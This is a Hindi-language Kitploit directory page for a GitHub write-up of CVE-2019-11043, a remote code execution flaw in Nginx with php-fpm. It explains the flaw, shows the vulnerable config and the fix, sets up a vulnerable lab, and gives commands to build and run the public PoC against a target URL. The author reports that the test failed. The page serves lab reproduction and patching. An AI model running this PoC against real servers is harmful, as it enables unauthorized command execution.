Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2019-11043 — CVE-2019-11043 PHP रिमोट कोड निष्पादन | Kitploit
उपकरण/GitHubGitHub/shadow-horse/cve-2019-11043
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubshadow-horse/cve-2019-11043

cve-2019-11043

CVE-2019-11043 PHP रिमोट कोड निष्पादन

रिपॉजिटरी देखें
116 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

PHP रिमोट कोड निष्पादन भेद्यता (CVE-2019-11043)

1. पृष्ठभूमि

26 सितंबर को, PHP ने आधिकारिक तौर पर एक भेद्यता अधिसूचना जारी की, जिसमें बताया गया कि: Nginx + php-fpm का उपयोग करने वाले सर्वर, कुछ कॉन्फ़िगरेशन के तहत, रिमोट कोड निष्पादन भेद्यता रखते हैं। और यह कॉन्फ़िगरेशन व्यापक रूप से उपयोग किया जाता है, जो अत्यधिक हानिकारक है।

भेद्यता का PoC 22 अक्टूबर को सार्वजनिक किया गया, और घरेलू सुरक्षा मीडिया ने समय पर चेतावनी जारी की।

2. भेद्यता विवरण

Nginx में fastcgi_split_path_info, %0a वाले अनुरोधों को संसाधित करते समय, न्यूलाइन वर्ण \n का सामना करने के कारण PATH_INFO को खाली कर देता है। और php-fpm, PATH_INFO के खाली होने की स्थिति में एक तार्किक दोष रखता है। हमलावर सावधानीपूर्वक निर्माण और शोषण के माध्यम से रिमोट कोड निष्पादन का कारण बन सकते हैं।

Nginx + php-fpm सर्वर, निम्नलिखित कॉन्फ़िगरेशन का उपयोग करते समय, रिमोट कोड निष्पादन भेद्यता हो सकती है।

root@kitploit:~
 location ~ [^/]\.php(/|$) {

    fastcgi_split_path_info ^(.+?\.php)(/.*)$;

    fastcgi_param PATH_INFO       $fastcgi_path_info;

    fastcgi_pass   php:9000;

    ...
}

3. समाधान

सामान्य व्यवसाय को प्रभावित किए बिना, Nginx कॉन्फ़िगरेशन फ़ाइल से निम्नलिखित कॉन्फ़िगरेशन हटाएं:

root@kitploit:~
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO       $fastcgi_path_info;

4. github पर सार्वजनिक POC

github: https://github.com/neex/phuip-fpizdam

यह POC FastCGI चर _fcgi_data_seg में ऑप्टिमाइज़ेशन का उपयोग करता है, जो केवल PHP7 में है, इसलिए सार्वजनिक शोषण केवल php7 के तहत काम करता है, PHP5 वातावरण में काम करने के लिए एक अलग शोषण की आवश्यकता होती है।

5. भेद्यता पुनरुत्पादन

1. NGINX+PHP-FPM (php7) कॉन्फ़िगर करें

वातावरण कॉन्फ़िगर करें, nginx + php-fpm सेट अप करें, सत्यापित करें कि कार्य प्रभावी है।

  1. php7 डाउनलोड करें, डायरेक्टरी में अनज़िप करें

    root@kitploit:~
     wget -c http://cn2.php.net/distributions/php-7.2.4.tar.gz
     tar -xzvf php-7.2.4.tar.gz
    
  2. संपीड़न, ssl और संबंधित आश्रित पैकेज स्थापित करें

    root@kitploit:~
     yum install -y libxml2*
     yum install -y openssl*
     yum install -y libcurl*
     yum install -y libjpeg*
     yum install -y libpng*
     yum install -y freetype*
     yum install -y libmcrypt*
    
  3. स्रोत कोड कॉन्फ़िगर और संकलित करें

    root@kitploit:~
     ./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --with-mysqli --with-pdo-mysql --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir --enable-simplexml --enable-xml --disable-rpath --enable-bcmath --enable-soap --enable-zip --with-curl --enable-fpm --with-fpm-user=www --with-fpm-group=www --enable-mbstring --enable-sockets --with-gd --with-openssl --with-mhash --enable-opcache --disable-fileinfo
    
     make & make install
    
  4. php-fpm कॉन्फ़िगर करें, यदि कई PHP कॉन्फ़िगर कर रहे हैं, तो पोर्ट 9000 को 9001 में बदल सकते हैं

    root@kitploit:~
     php-fpm कॉन्फ़िगरेशन फ़ाइल संशोधित करें:
     $ cd /usr/local/php/etc
     $ cp php-fpm.conf.default php-fpm.conf
     $ vi php-fpm.conf
     pid = run/php-fpm.pid के सामने से अर्धविराम हटाएं
     $ cd php-fpm.d
     $ cp www.conf.default www.conf  (पोर्ट बदलें)
     $ vi www.conf
     user और group को गैर-root उपयोगकर्ता में बदलें
    
  5. ./php-fpm

2. भेद्यता वाले PHP पार्सिंग को कॉन्फ़िगर करें

nginx.conf में निम्नलिखित कॉन्फ़िगरेशन जोड़ें:

root@kitploit:~
location ~ [^/]\.php(/|$) {
        root /opt/apache/www;
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        fastcgi_param PATH_INFO  $fastcgi_path_info;
        fastcgi_pass   127.0.0.1:9001;
        include     fastcgi_params;
     }

nginx पुनरारंभ करें

  1. go स्थापित करें, POC कोड संकलित करें

    root@kitploit:~
     go get github.com/neex/phuip-fpizdam(文件下载在go的src目录下)
    
     go build github.com/neex/phuip-fpizdam(全路径,会在当前目录生成运行文件)
    
  2. POC चलाएँ

    root@kitploit:~
     ./phuip-fpizdam http://website.com/index.php
     ./phuip-fpizdam http://website.com/index.php?a=command
    

[दुर्भाग्य से, वातावरण कॉन्फ़िगर करने में कुछ गड़बड़ है, सत्यापन विफल रहा]

root@kitploit:~
	2019/10/29 01:13:19 Detect() returned error: no qsl candidates found, invulnerable or something wrong

4. डॉकर एकीकृत सत्यापन वातावरण

मूल लिंक:https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

  1. डॉकर प्रोजेक्ट फ़ाइलें डाउनलोड करें

  2. docker-compose up -d डॉकर कंटेनर चलाएं

  3. प्रोग्राम चलाएं, निष्पादन सफल दिखाएं, भेद्यता का उपयोग करके कमांड "id" का आउटपुट प्राप्त करें

  4. डॉकर सेवा बंद करें docker ps
    docker stop id

टूल डाउनलोड करें